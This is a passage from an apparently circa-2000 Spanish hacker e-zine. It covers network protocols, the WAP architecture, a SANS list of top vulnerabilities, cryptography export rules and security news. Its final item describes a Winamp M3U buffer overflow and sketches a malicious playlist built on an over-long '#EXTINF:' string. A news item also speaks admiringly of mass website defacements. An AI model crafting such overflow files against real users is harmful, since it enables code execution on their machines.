viaja sin encriptacion alguna por lo que tmb una interseccion de info  seria  muy
cencilla poder leerla y bueno para estos problemas han surgido ciertas soluciones
como el protocolo punto a punto (PPTP)que encripta al TCP/IP que estamos anviando



NetBIOS
=======

Este es el infaltable, el guerrero, el legendario, es intermediario entre dichos
protocolos y nuestras aplicaciones, nos permite  conectarnos  al  resto  de  los 
equipos de nuestra u otra red usando nombres sencillos  y  faciles  de  recordar
(SERVIDOR, PERKIN, JUNIOR) sin importar que protocolo de red estemos usando para
comunicarnos con ellos 


Conclusiones finales
====================

Mi recomendacion: mantener la red funcionando con el menor numero de  protocolos
posibles, siendo muy conveniente que haya homogeneidad entre los equipos k vayan
a compartir recursos entre si, ya que las maquinas que no  tengan  al  menos  un
protocolo comun no podran verse entre si ni compartir recursos

Si no vas a usar NetBEUI,la eleccion queda entre IPX/SPX y TCP/IP,usa el primero
en una red local sin acceso a Internet y el segundo en una red no local(WAN,MAN)
o si necesitas Internet o intranet Como es habitual, en las redes  hay  maquinas
k no salen a Internet y otras que si lo hacen puedes instalar en todas IPX/SPX y
en las que acceden a  Internet a�ades TCP/IP,  de esta manera las maquinas k  no
acceden a Internet estan mas "seguras" y todas se veran entre si




Autor     : EleKtr0
Titulo    : Cape, nane, ene, tu, sa-lis-tes- tu!
Saludos   : TCP/IP weon ingrato no ma`s!... ven averme algun dia!...
		




�,���`�����,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����








,���``����
    09
`���,�,���


Autor     : EleKtr0
Titulo    : Protocolo Inalambrico de Aplicaciones
Entrega # : I

Comentario: Ultimamente esta de moda, dentro  de las compa�ias de comunicaciones
la onda del "Inet" en tu celular y "chatear" con mensajes cortos y cuanta mierda
mas... todos sabemos k eso del Inet y chat es una porqueria, algo incomparable a
la verdadera Inet y el  verdadero chat  de Inet, pero  de todas formas y  aunque
siendo de muy baja calidad supone un cambio en las comunicaciones y es mas,marca
la era de los celuliticos y toda esa parafernalia que se teje con la telefonia

Po lo mismo, no le debemos acer caso omiso a todo esto y en este articulo tratare
de dejar mas o menos claro lo que respecta a esta nueva tecnologia...

Contenido : El protocolo inalambrico de aplicaciones (WAP)nace de la fusion de 2
grandes tecnologias como lo son, las  comunicaciones  inalambricas e Inet,  esta
nueva tecnologia no solo pretende prestar servicios de Inet a las comunicaciones
inalambricas sino k tmb pretende proveer servicios adicionales como por ejemplo:
el poder desviar llamadas inteligentemente o sea,aki se proporciona una interfaz
a un usuario al cual se le pregunta la accion a realizar como:aceptar la llamada
o desviarsela a otra persona o enviarla a un buzon de boz, etc...

[ NOTA:WAP Wireless Application Environment o Entorno Inalambrico de Aplicacion ]


Para poder lograr esto el protocolo se basa en la arkitectura del www,  pero con
una brillante adaptacion al nuevo sistema

veamos un esquema...

                      
 |                                           Servidor I          Servidor II
 |___                                          _____             _____
 |---|                                        | ___ |           | ___ |
 |---|                  Antena o Satelite     ||___||           ||___||
 |...|                  de comunicaciones     |     |           |     |
 |...|                    |         |         |     |           |     |
 |___|=====================         ==========|_____|===========|_____|

  celular del
user celulitico



Chuata! ok, el user hace una peticion por ejemplo de los contenidos de una web,k
seria www.loquecea.cl  la peticion es captada por la antena o satelite y enviada
a un servidor receptor (I) decodificador de se�ales satelitales,este servidor se
encargara de convertir la peticion a un lenguaje  reconosible  para el resto  de 
los computines, este lenguaje es el TCP/IP obvio! y donde el servidor I haria la
peticion del user al Server II, el server II en nuestro caso es Inet, una ves ya
resivida la respuesta desde Inet el servidor I codifica nuevamente los  datos  y
prepara la comunicacion satelital para k esta se encarge de enviar el e-zine  al
celular del user

Para conseguir una buena comunicacion entre el terminal movil y  los  servidores
el protocolo de aplicaciones inalambricas (WAP) define una serie  de componentes
estandares:


1- Modelo estandar de nombres
2- Formatos estandares de contenidos basados en el www
3- Protocolos estandares de comunicacion, que permiten la comunicacion del server
decodificador de se�ales (I) con los aparatos moviles y el servidor de red (Inet)



Componentes de la arquitectura WAP
==================================

La arquitectura WAP  esta dise�ada para proporcionar un  entorno escalable  y de
facil extencion para ser aplicada a dispositivos de comunicacion movil,para esto
se define una estructura de capas, donde  cada  capa  accesa a la capa  de nivel
inferior a esta asi tmb como otros servicios y aplicaciones que son rejidas  por
un conjunto de interfaces muy especificas y ya definidas por la WAP


Orden de las capas:

 _________________________    __________________________________________________
| CAPA DE APLICACION (WAE)|  |                                                  |
|_________________________|  |___                                               |
 _____________________________   |       OTROS                                  |
|     CAPA DE SESION (WSP)    |  |                                              |
|_____________________________|  |_______       SERVICIOS                       |
 _____________________________________   |                                      |
|         CAPA DE TRANSACCIONES (WTP) |  |                 Y                    |
|_____________________________________|  |_____                                 |
 ___________________________________________   |              APLICACIONES      |
|               CAPA DE SEGURIDAD (WTLS)    |  |                                |
|___________________________________________|  |_____                           |
 _________________________________________________   |                          |
|                     CAPA DE TRANSPORTE (WDP)    |  |                          |
|_________________________________________________|  |__________________________|



 Protocolos portadores:
 _______________________________________________________________________________
|                                                                               |
| GSM     IS-136      CDMA       PHS      CDPD       PDC-P      iDEN     etc    |
|_______________________________________________________________________________|




Y ahora veamos para la funcion de cada capa:



CAPA DE APLICACION (WAE)
=======================

El Entorno Inalambrico de  Aplicacion (WAE)  es un entorno de proposito  general
basado  en  la  combinacion  del  WWW y tecnologias  de  comunicaciones  moviles
Este entorno incluye un servidor  decodificador de se�ales moviles del  cual  ya
hemos hablado anteriormente, este usa el lenguaje denominado WML similar al HTML
pero optimizado para su uso en terminales moviles

[ NOTA: WML, Wireless Markup Language ]

El servidor decodficador( desde ahora, SD ), tiene las sgts caracteristicas:
- como les mencione, un lenguaje similar al html pero optimisado para los moviles
  llamado WML
- WMLscript tmb muy similar a lo k seria el java script para html
- por ultimo tmb tiene conjuntos de formatos definidos como serian,imagenes,agenda
  de telefonos, informacion de los users, estados de cuentas personales etc...



CAPA DE SESION (WSP)
===================

Protocolo Inalambrico de Sesion (WSP) le proporciona a la WAP dos servicios:
1- Orientar a la conexion k funca por encima de la capa de transacciones
2- Proporcionar datagramas seguros o no seguros,este servicio trabaja por encima
   de la capa de transporte

Hoy en dia esta capa proporciona aplicaciones basadas en el WWW, como:
- compactar sistematicamente las funcionalidades del http/1.1
- negociar caracteristias del WAP
- suspende, reanuda y cambia la sesion



CAPA DE TRANSACCIONES (WTP)
==========================

Protocolo Inalambrico de Sesion (WTP) funca por encima del servicio de datagramas
tanto como los seguros y lo no tanto, tiene las sgts caracteristicas:
- Tres servicios de transacciones:
  1- peticion insegura de un via o camino
  2- peticion segura de una via o camino
  3- transaccion segura de dos caminos
- "seguridad" de user a user (este servicio es opcional)
- y por ultimo las tan mal ponderadas transacciones asincronicas




CAPA DE SEGURIDAD (WTLS)
=======================

Protocolo Inalambrico de Transporte Seguro (WATLS)esta basado en el estandar SSL
usado en el web para proporcionar seguridad a las transferencias de datos
Dise�ado especialmente para protocolos de transporte del WAP  y optimisado  para
el uso de canales de banda estrecha, caracteristicas:
- Integridad de los datos
- Privacidad de datos
- Autentificacion
- se puede usar en el comercio electronico movil



CAPA DE TRANSPORTE (WDP)
=======================

Protocolo Inalambrico de Datagramas (WDP) se encarga de dar una interfas fiable
los protocolos k esten arriba del WAP, permite la comunicacion de forma limpia
Como este protocolo da la misma interfaz a todos los demas servicios, seguridad
sesion y aplicacion podran trabajar de forma independiente a lo k seria la  red
inalambrica k da el soporte al mismo sistema

veamos algunos ejemplos de capas en WAP:


1- Agentes de Usuario de WAE

                         _________________
                        |______WAE________|
                        |______WSP________|
                        |______WTP________|
                        |_______\__WTLS___|
                        |__UDP__|__WDP____|
                        |__IP___|__NO IP__|



2- Aplicaciones Sobre Transacciones

                         _________________
                        |______WTP________|
                        |_______\__WTLS___|
                        |__UDP__|__WDP____|
                        |__IP___|__NO IP__|



3- Aplicaciones sobre Datagramas

                         _________________
                        |_______\__WTLS___|
                        |__UDP__|__WDP____|
                        |__IP___|__NO IP__|



De esta forma,la aplicacion depende en cuestion,de la comunicacion k se realize
con una determinada capa de la estructura de WAP


El principal objetivo del Entorno Inalambrico de Aplicaciones, es  construir  un
entorno de proposito general, basandose en el world wide web, se  pretende crear
un entorno donde los operadores y proveedores de servicios sontruyan sus propios
servicios y aplicaciones y asi ampliar la gama de plataformas inalambricas

La arquitectura del WAP esta enfocado a los agentes del usuario, esto es mas que
obvio ya k a las empresas lo unico a importarles es la aplicacion de  terminales
moviles y los miviles son usuarios y los usuarios son $$$.$$$.$$$ :) 


[ NOTA: agentes de usuario son todos los software`s k interpreta el WML, como se
deben imaginar esto seria: browser`s, de texto y voz, search, etc... ]

Bueno y k con todo esto??? lo que pasa ahora  esk el WAP separa los  agentes  de
usuarios lo que supone una flexibilidad para combinar otros servicios dentro  de 
un unico agente o bien para ser repartidos entre varios usuarios

Los agentes mas importantes para este tipo de servicio serian el: WML y el WTA
del agente WML se puede decir k es el encargado de  proporcionar un  sistema  de
interpretes para los lenguajes WML, WMLScript para permitir una normal navegacion

Ahora bien el agente WTA, permite interactuar a los autores de moviles y  dar  el
normal servicio de un telefono celular k serian esas tontas agendas, buzones, etc

Y con esto pongo fin a este primer capitulo, nos vemos en una proxima entrega ...





Autor        : EleKtr0
Titulo       : Protocolo Inalambrico de Aplicaciones
Entrega #    : I
Bibliografia : [WAPARCH] "Wireless Application Protocol Architecture Specification"
               URL: http://www.wapforum.com/




�,���`�����,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����








,���``����
    10
`���,�,���


Autor     : Jesus Cea Avion
Titulo    : Las diez amenazas mas criticas en Internet

Comentario: Como deben estar pensando, esto no es  una colaboracion directa  por
parte de este personaje muy reconocido por lo demas,lo que pasa esque el publico
en Hispasec y Sans Institute un documento en el que describia los diez problemas
de seguridad mas criticos y habituales en Inet, con el unico fin k los admin  de
sistemas cerraran estos agugueros o bien para tener una base de datos en  cuanto
errores de seguridad se tratase...

El documento original esta escrito en ingles y lo puedes encontrar en el link al
final del articulo, este documento es actualisado con suma frecuancia y  deberia
ser revisado constantemente para ... bueno ustedes saben para k!

Contenido : Las diez vulnerabilidades mas comunes son: 


1. BIND (named) Es el servidor de nombres mas popular de Internet,  pero  las
versiones anteriores a la 8.2.2 patch5  son vulnerables a  numerosos  ataques
capaces de proporcionar nivel "root" al atacante

2. CGIs y extensiones en los servidores web  Hay  que  auditar cuidadosamente 
todos los CGIs accesibles  en  los servidores  web, incluyendo los  CGIs  que 
vienen por defecto. Adicionalmente, extensiones  como FrontPage y  ColdFusion
pueden ser inseguros por si mismos, o contener ejemplos atacables

3. Vulnerabilidades en sistemas de llamada a procedimiento remoto (RPC), tipo
rpc.ttdbserverd, rpc.cmsd y rpc.statd Aunque son conocidos desde hace tiempo,
estos fallos siguen presentes en numerosos equipos
 
4. Vulnerabilidad RDS en el servidor web de Microsoft (IIS) Diversos  errores
de seguridad en el  Remote  Data  Services (RDS) permiten  a  un  atacante el 
ejecutar comandos con privilegios de administrador

5. Sendmail Sendmail es el servidor de correo (MTA) mas utilizado en el mundo
UNIX. Los administradores de  dichos sistemas  deberian  mantener el servidor
permanentemente actualizado

6. sadmind y mountd  Estos  procesos, si no han sido  actualizados, contienen
errores que permiten la ejecucion de codigo arbitrario como "root"

7. Comparticion de discos e informacion via NetBIOS, NFS y AppleShare - Deben
compartirse solo los directorios  imprescindibles, y solo desde las  maquinas
imprescindible El acceso por red a dichas maquinas debe ser el imprescindible
Las  claves  empleadas  deben  ser  robustas  - El control de acceso no  debe 
basarse en informacion DNS, sino en direcciones IP

8. Cuentas sin clave o con claves de baja calidad  Esto es espcialmente  grave
cuando las cuentas en cuestion tienen privilegios especiales

9. Vulnerabilidades en los servidores IMAP/POP Estos  servicios  gestionan los
buzones de los usuarios y les proporcionan acceso a su contenido.  Normalmente
no estan protegidos por cortafuegos,ya que suele ser necesario proporcionar el
servicio a usuarios desplazados fuera de la red local

10. "Comunidades"(claves)SNMP por defecto Numerosos equipos con capacidades de
administracion y monitorizacion remota via  SNMP  (Simple  Network  Management 
Protocol) son desplegados sin modificar las claves (comunidades) por defecto




Autor    : Jesus Cea Avion
Titulo   : Las diez amenazas mas criticas en Internet
Linkz    : www.sans.org




�,���`�����,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����








,���``����
    11
`���,�,���


Autor     : EleKtr0
Titulo    : Wassenaar, Intimidad al - %100

Contenido : Con la creciente alza publicitaria de comercio electronico  fuera  y
dentro de nuestras fronteras y en general en toda la red, se empiesa a tejer uno
de los temas de mayor controvercia en Inet y precisamente estoy hablando  de  su
SEGURIDAD con todo lo k ello implica...

De antemano debemos suponer, k el usuario normal de hoy en dia desea  ya! cierto
grado de privacidad,para el usuario mas experimentado la seguridad empiesa a ser
algo indispensable, por que pensemos k este  usuario ya esta  en condiciones  de
realisar compras y hacer transacciones por internet lo que supone una demanda de
fiabilidad a la red, ahora bien por parte de las empresas que  proveen  de estas
transacciones economicas tmb esta el interes por perservar la seguridad  de  sus
clientes y mantenerse con el prestigio hasta ahora conseguido...

Pero hoy en dia ambos  intereses  se  ven  afectados  por  el  gobierno  estatal
no hablemos del gobierno chileno, ni hablar!...si no del gobierno norteamericano
el cual lidera todo esto, todos sabemos k EEUU impide las reglas  criptograficas
por que segun el ultimo tratado de wassenaar haci lo estipulan, segun ellos"esta
tecnologia puede ser usada para fines ilegales" Pero las recientes crecidas  del
tema y las realidades vivas en la red, demuestran que el desarrollo de un metodo
tan importante como lo es la encriptacion de datos es mas k inminente!...

Todos deben ya saber lo que paso con el estudiante Robert Morris, el creador del
virus "worm" hace ya algunos a�os, este virus no destruia informacion pero si un
degrado en las prestaciones de los sistemas afectados, el worm de morris  afecto
de un total de 80.000 host en ese tiempo, a  mas de 6.000,  provocando  perdidas
inconmensurables,(baya vocabulario el mio :) y bueno a raiz de este insidente se
crea el  CERT (computing emergency response team)  un equipo de  emergencias  de
seguridad informatica, luego el National Computer Security Center, que era parte
de la Agencia Nacional de Seguridad de los Estados Unidos (suena bonita la frase
me emociono con estos temas snif!) bueno y asi se han ido creando mas centros de
seguridad informatica a nivel global...tanto asi k el CERT tiene sedes en varios
paises del mundo y todas con el unico fin de  preservar  la  informacion en  las
comunicaciones, problema k precisamente resuelve la criptografia

Vamos por parte, el cifrado es la transformacion de la informacion de manera que
resulte ilegible e incomprensible,de esta forma se oculta (en griego, KRIPTOS)la
informacion a quellos k no va destinada, luego para su  posteriror  lectura debe
ser descifrada que seria el proceso inverso al cifrado,ahora la info deberia ser
legible, antiguamente para cifrar y descifrar un mensaje era necesario que tanto
el emisor como el receptor del mesaje compartieran la clave secreta

Eso era el pasado, hoy en dia la critografia ha tenido grandes avances y todo se
lo debemos a la clave publica inventada por los se�ores Diffie y Hellman, na que
ver con la mayonesa hellman, en 1975

En esta nueva tecnologia que consiste en que la clave para el cifrado es publica
disponible para todo el mundo y la del descifrado secreta, todo  esto posibilita
el envio de msg cifrados entre desconosidos, ya k cada uno tiene su propia clave
personal e instransferible

Ahora bien, la autenticidad del mensaje es aportada por la firma digital del que
envia el mensaje, esta firma es generada por la clave secreta del emisor  y  por
parte del mesaje cifrado

Todo esto en  el mundo de la  criptogafia  se conoce  como "claves asimetricas",
implementada por un algoritmo matematico,  el famoso RSA, desarrollado  por  los
investigadores de la MIT, (para variar, estos se�ores sik se las traen he!)

RSA,se trata de un sistema matematico que genera un par de claves complementarias
una publica y otra privada,  segun  explica  la mismisima  RSA  Data Security, el
algoritmo funca de la sgt manera:

" Tome dos grande numeros primos, `p� y `q� y encuentre  su producto  n=p*q; n se
llama modulo. Escoja un numero,  `e�,  menor  que  `n�  y  primo  en  relacion  a
(p-1)*(q-1), lo que significa que `e� y (p-1)*(q-1) no  tienen  factores  comunes
exepto 1. Encuentre otro numero `d� tal que (e*d-1) sea divisible por (p-1)*(q-1)
Los valores  `e�  y  `d�  se  llaman,  respectivamente, los  exponentes   publico
y privado.La clave publica es el par (n,e);la clave privada es (n,d).Los factores
`p� y `q� se pueden guardar con llave privada o ser destruidos."

[Nota: el texto anterior lo he traducido del origianl que esta en ingles,si tiene
algun tipo de error pues busca el original en el link al final y lo traduces tu!]

Uff! baya enrredo, Zimmerman puso esta tecnologia al alcanse de todos, al   hacer
publico el programa PGP (pretty good privacy)

A pesar de todo, EEUU adopto como estandar oficial para la proteccion de datos el
DES (digital encrition standar) o estandar de cifrado digital, dise�ado por IBM y
modificado por la Agencia Nacional de Seguridad

DES, emplea claves de una longitud de 56 bits y  como  bien  sabemos  algunos  la
dificultad para descifrar un mesaje  por  fuerza  bruta,  es  proporcional  a  la
longitud en bits de la clave empleada o sea dicho de otra forma,el numero de bits
de la clave es el indice de la potencia de un software criptografico, y como  tmb
muchos hemos comprovado que el DES es una mugre! reventandolo con el john en  muy
poco tiempo... el DES esta obsoleto!

Bueno y aqui me voy a meter en un tema k no domino mucho, no me anden despues por
ahy pelando, es sobre el desafio  de la  RSA,  desde hace  varios  a�os,  la  RSA
DataSecurity,patrocina un concurso publico para demostrarle al gobierno americano
la seguridad de las claves construidas con algoritmos inferiores a los 128  bits,
para de alguna manera garantisar seguridad en el comercio electronico El objetivo
del juego (que es mas k un juego de ni�os) es recuperar la clave DES  de 56 bits,
usada para cifrar un mensaje y hacerlo mas rapido k el ganador anterior

En el 97, el DESCHALL recupero la clave en 96 dias,  en  febrero del 98 segun mis
rejistros (si estoy mal, por favor aganmelo saber) dristributed.net, gano  el RSA
DES en 41 dias, en ambos casos se empleo la fuerza bruta para descifrar el mesaje

En el 98, fue espectacular!, el EFF DES Cracker descifro en menos de tres dias el
mesaje k desia "Es la ora para las claves de 128, 192 y 256 bits"

La NIST (national institute of standards and technolgy) empezo a trabajar con  lo
que serian claves de 128, 192 y 256 bits respectivamente,se anunciaron propuestas
sobre las k se discutiria el tema, aunque muchos recominedan usar el Triple DES k
seria un cifrado de 112 bits



EL TRATADO DE WASSENAAR
=======================

EEUU lidera este tratado mundial, EEUU impuso  su  criterio  y  wassenaar  deside
restringuir la exportacion de productos de cifrado general k usen claves + de  56
bits,  y el software comercial mayor a 64 bytes, de inmediato hubo  un  llamado a
usar un criptografia sin limitantes de uso, se dijo k estas restrinciones  harian
aun mas devil y vulnerable Inet, " los hackers pueden reventar el codigo que  use
la longitud aprovada de 64 bits en menos de un dia...) si hombre en mucho menos!,
A todo esto espa�a desarrolla una campa�a en contra del tratado, en diciembre del
99 creo... se convoco a una huelga de protesta entre los informaticos " Los EEUU,
bajo preciones de  los sectores de alta  tecnologia para  nivelar las reglas  del
juego, han echo exactamente lo  que  se les habia pedido: �no  han  eliminado las
restrinciones irrasonables sobre la exportacion de critografias,sino k an forzado
a sus socios comerciales a adoptar las misma restrinciones!" 

Bueno, bueno que desir de todo esto... simplemente que hoy en dia todos sabemos k
ahy otra clase de software, que al parecer representa una mayor  amenasa  mundial
y esto lo digo con mucho criterio ojo se�ores!, que este tipo de software no esta
siendo cubierto por las leyes de control criptogafico de  exprtaciones,  sin  mas
rodeo, hablo del control de las ARMAS!!...,  todos sabemos que el gobierno quiere
controlar la criptografia para poder seguir usmeanadonos y observar cada paso que
demos, ellos quieren ejerser el control total, algo inerente a nuestra naturaleza
como seres humanos, nacemos LIBRES! y moriremos LIBRES!, Como la tecnologia sigue
con esos vertiguinosos avanses, insisteremos que la policia actualise sus metodos
para convatir la delincuencia y por que mucho,pero mucho mas horrible que el robo
de informacion secreta por parte de un hacker, es la muerte de un hombre libre  o
la violacion de una ni�a inocente! ������HE! AHY EL VERDADERO DELINCUENTE!!!!!!




Autor    : EleKtr0
Titulo   : Wassenaar, Intimidad al - %100
Linkz    : www.wassenaar.org  www.rsa.com  www.eff.org
Bibliografia: Fueron apuntes sacados de unas fotocopias que tenia, algo viejas
              el nombre de la revista no aparece, tampoco lo recuerdo




�,���`�����,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����








,���``����
    12
`���,�,���


Autor     : EleKtr0
Titulo    : UnderNews

Comentario: Y como no podia faltar, aqui esta el noticiero de esta edicion, cabe
mencionar tmb k como muchos noticieros me basare en los servidores de  seguridad
haciendo mencion a ellos cuando la noticia corresponda a esas fuentes, pero como
aporte incluire noticias serias tanto como curiosas dandole un aire mas relajado
alo que es leer noticias... quienes las leen me entenderan

Contenido :



|===================================================|==================|
| Primeras negaciones a la instalacion de Carnivoro | www.hispasec.com |
|===================================================|==================|

Como ya tratamos anteriormente Carnivoro es un software creado y dise�ado por el
FBI para el rastreo y vigilancia del correo  electronico. En  la  actualidad  ya
empiezan a surgir los ISPs que se niegan a la  instalacion de dicho software  en
sus servidores

La compa�ia EarthLink Inc. se  niega a  que el FBI  mantenga  instalado  en  sus
maquinas el software para vigilancia, sustraccion y analisis de redes Carnivoro.
Este proveedor, es uno de los mas  importantes de  los Estados Unidos y a la vez
uno de los primeros en los que se probo este software dedicado al espionaje, con
la finalidad de desenmascarar una trama delictiva

La citada compa�ia intenta evitar el mantenimiento de Carnivoro  dentro  de  sus
sistemas, ya  que en  un principio  se  toparon  con el problema  de  tener  que
reinstalar un software mas antiguo al que  estaban  utilizando  en  sus sistemas 
para que fuera compatible con el del FBI. Pero tras pruebas realizadas  pudieron
comprobar  que este remedio no era efectivo y sufrian continuos accesos y caidas
de sus ordenadores. Otra de las causas que alega esta compa�ia para  rechazar  a
Carnivoro, es que durante el periodo que el FBI ha realizado sus investigaciones
estos pudieron haber recopilado informacion de sus usuarios que nada tuviera que
ver con la investigacion que llevaban a cabo. Los directivos de esta compa�ia se
muestran receptivos a colaborar con la justicia siempre que sean requeridos,pero
se niegan tajantemente a instalar Carnivoro en sus sistemas

En la actualidad el FBI  recibe  presiones de una gran mayoria de  usuarios para 
que desvele el  codigo  fuente  de  Carnivoro, si  bien  los  federales rechazan
rotundamente tal posibilidad. Este software actua de forma que ingiere  toda  la
informacion que pasa por un punto de la red del proveedor de  Internet  y  segun
asegura el FBI solo extrae los datos relevantes a una  investigacion.  Por  este
motivo, recibe criticas  para  que se  muestren mas detalles sobre  su  forma de
actuacion





|============================|=========|
| EL DERVY ENTRE LOS HACKERS | EleKtr0 | 
|============================|=========|

Bueno esta noticia la recuerdo haber leido por ahy y trata de lo sgt:

Un grupo de hackers llamados HFG habria hackeado hace ya algun tiempo alrrededor
de 300 dominios entre ellos se ecnontraban algunos famosos, en todas las pajinas
hackeadas dejaron un msg ridiculisando a otros grupos y en concreto unos de  los
otros, llamados "LoU" batio todos los  records  conosidos  hasta el  momento  en
cuanto al webhack (nueva palabra :)se tratase, si estas sentado entonces apoyate
y respira profundo, por que el grupo LoU hackearon mas de 24.000 dominios.......
simplemente impresionante! en todas las pajinas dejaban un msg tmb en  respuesta
al grupo HFG ademas k apoyaban la libertad de Kevin

La fuente de la noticia es totalmente fidedigna,





|=======================================================|==================|
| Microsoft publica el Service Pack 1 para Windows 2000 | www.hispasec.com |
|=======================================================|==================|

Microsoft ha  publicado  la primera  actualizacion oficial para  la  familia  de
sistemas operativos Windows 2000. El Service Pack 1 para  Windows 2000  ya  esta
disponible y Microsoft recomienda su instalacion a todos los usuarios del  nuevo
sistema operativo

Este primer Service Pack contiene un gran numero de parches que  se  engloban en
apartados de confiabilidad, compatibilidad, configuracion y seguridad.En general
cubre aspectos como el Sistema Operativo base, el Servicio de Directorio, IIS  y
COM+, correo,administracion,MDAC(acceso a datos), MSMQ, red,impresion,seguridad,
configuracion y shell

Microsoft no ha incluido  nuevas  caracteristicas en este  SP1,  tan solo ofrece
mejoras de calidad o rendimiento,solo soluciona los problemas reportados por los
usuarios durante los primeros meses de implantacion de este sistema operativo

Entre las actualizaciones de seguridad  cubiertas  se cuentan  la  ejecucion  de 
codigo en archivos de ayuda en html, las vulnerabilidades asociadas  a  archivos
.htr, la vulnerabilidad en las cabeceras de e-mails falseadas,en la reagrupacion
de paquetes IP fragmentados, etc

Microsoft ofrece dos formas de instalacion de este Service Pack, la  instalacion
rapida y la instalacion de red. La primera detecta los componentes del sistema e
instala solo aquellos componentes necesarios para el sistema, la segunda instala
el SP1 completo en la maquina. La primera consiste  en  aproximadamente  unos 14
Mbytes mientras que la segunda son 87 Megas





|============================================|================|
| S e g u r i d a d  e n  C o m p u t o 2000 |www.bugtraq.com |
|============================================|================|

Noviembre 26 - Diciembre 1 del 2000

Palacio de Miner'ia, Ciudad de M'exico


Los eventos "Seguridad en C'omputo 2000" (http://www.seguridad2000.unam.mx) y el
"D'ia Internacional de Seguridad en C'omputo 2000(DISC2000)"www.disc2000.unam.mx
tienen como objetivo concientizar a la comunidad usuaria de c'omputo  sobre  las
medidas de seguridad necesarias para proteger la  informaci'on  en cualquiera de
sus formas

Seguridad  en  C'omputo  ser'a  un  punto  de  encuentro  para  todos   aquellos
involucrados en el uso de equipo de c'omputo. DISC  es  una celebraci'on mundial
convocada por la ACM (Association For Computing Machinery)

Desde 1994, M'exico  participa  de esta  celebraci'on  a  trav'es  del 'Area  de 
Seguridad  en C'omputo (ASC) de la UNAM  Este an~o, el DISC  2000 se llevar'a  a 
cabo el 30 de Noviembre, como parte del evento " Seguridad en C'omputo 2000"

Por este medio se convoca a la comunidad a participar en el evento "Seguridad en
C'omputo 2000"  a  trav'es  de  la  presentaci'on  de    documentos     teoricos
teorico-pr'acticos, de aplicaci'on en los siguientes temas:

>> Comercio electr'onico
Certificaci'on
Dinero electr'onico
Nuevos protocolos
Esquemas actuales
Nuevas tecnolog'ias
Transaccines seguras
Estado actual en M'exico

>> Nuevas tecnolog'ias de firewalls
Fw h'ibridos
Nueva generaci'on de FW

>> Seguridad en Web
Esquemas seguros
Secure Sockets Layer (SSL)

>> Seguridad en Redes
Seguridad en ruteadores
Nuevas tecnolog'ias de redes

>> Legislaci'on sobre seguridad en c'omputo.
Propuestas de legislaci'on.
Avances en materia de legislaci'on 1999-2000.
Regulaci'on de nombres de dominio.
Propiedad intelectual y derechos de autor.
Propiedad industrial.

>> Seguridad en Clusters

>> Seguridad para desarrollo de software.

>> Seguridad en sistemas distribuidos y bases de datos.

>> Seguridad en agentes y lenguajes multiplataformas.

>> Equipos de respuesta a incidentes.

>> Manejo, prevencin y coordinacin de incidentes de seguridad en c'omputo.

>> Cuestiones legales y administrativas en el manejo de incidentes.

>> Herramientas para el manejo de incidentes.

>> Ataques inform'aticos.

>> Privacidad y protocolos criptogr'aficos.

>> Pol'iticas de seguridad.

>> Virus inform'aticos.

>> Ataques DDOS


Categor'ias de participaci'on
=============================

Los d'ias 26, 27 y 28 de  Noviembre estar'an  destinados  a la presentaci'on  de 
talleres, tutoriales y sesiones informales.Durante los d'ias 29, 30 de Noviembre
y 1 de Diciembre se efectuar'an las conferencias

El d'ia 30 de Noviembre se celebrar'a el " D'ia  Internacional de  Seguridad  en 
C'omputo" DISC 2000 cuyo programa de actividades se publicar posteriormente

Los idiomas oficiales para este an~o son espan~ol e Ingles



Categor'ias de participaci'on
=============================


1.- Tutoriales y Talleres.
Medio d'ia (4 hrs.)
D'ia completo (8 hrs.)
2.- Conferencias (30 mins.)
3.- Conferencias magistrales (1 hr.)
4.- Sesiones informales (60 o 90 mins.)

Nota: Las sesiones informales son paneles sobre temas de interes que podr'an ser
dirigidos por una o mas personas.


Comit'e Cient'ifico
===================


Los trabajos se someter'an a un comit'e cientfico para su evaluaci'on y selecci'on

El comit'e est'a integrado por investigadores y profesionistas reconocidos en el
campo de la seguridad en c'omputo a nivel mundial.


>> Dr. Eugene Spafford
Director of CERIAS, Purdue University, EU

>> Wietse Venema
IBM T.J. Watson Research Center

>> Dr. Eugene Schultz
Global Integrity, EU

>> Linda McCarthy
Net-Defense, EU

>> M. en C. Diego Zamboni.
CERIAS, Universidad de Purdue, E.U.A.

>> Juan Carlos Guel L'opez
'Area de Seguridad en C'omputo, DGSCA-UNAM, Mexico



Para mayores informes
=====================

e-mail: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
http://www.seguridad20000.unam.mx
http://www.disc2000.unam.mx
http://www.asc.unam.mx





|====================================|=========|
| EL ESCANEO DE PUERTOS NO ES ILEGAL | EleKtr0 |
|====================================|=========|

O esque pensabas k escanear puertos es legal??? nhaaa es ilegal! no en chile pero
es ilegal! por ejemplo en Espa�a, EEUU por nombrar algunos, bueno la notici esque
un juez de Noruega dictamino que el escanear puertos no es ilegal ni mucho  menos
lo es provar la seguridad de algun servidor privado, desicion que apoyo  diciendo
que cuando uno se mete en lo que es Ineternet ya  sea  como empresa  o  de  forma
independiente se toman de forma inmediata las medidas que esto rekiere,vale decir
un servidor web seguro y que el intento de  penetraciones (?)  es algo  ya normal
de la RED

baya! juez, estoy mas k seguro que chileno no es! tampoco Espa�ol XD, EEUU?�





|===================|=======================|
| Bug en Winamp     | www.securityfocus.com |
|===================|=======================|

Existe una vulnerabilidad  de  desbordamiento  de bufer en Winamp,  el  conocido
programa  reproductor de  musica en formato mp3. Esta fallo  de  seguridad puede
llegar a causar la ejecucion de codigo malicioso en el ordenador atacado. Winamp
dispone del tipo de archivos M3U, que permiten facilitar la tarea de creacion de
listas de reproduccion, de  forma que pueden clasificarse temas para  reproducir
segun su autor, disco o tematica. Sin embargo,  el analizador de este formato de
ficheros de Winamp no realiza una correcta comprobacion de los parametros que en
el se adjuntan, por lo que un atacante puede provocar un desbordamiento de bufer
que puede ser aprovechado para la inclusion (y ejecucion) de codigo malicioso.El
desbordamiento  se  produce cuando se  trata  el parametro  "#EXTINF:",  bastara
introducir una cadena de mas de  280 caracteres tras dicha opcion  para provocar
el error. Un ejemplo de archivo malicioso quedaria asi:#EXTM3U #EXTINF:AAAAAA...
(cadena de 280 caracteres) ....AAAAAAAAAAAAAAAAAAA El ataque puede realizarse de
multiples maneras,  como mediante la  inclusion  del  archivo malicioso  en  una
recopilacion de musica,o incluso en una pagina web:





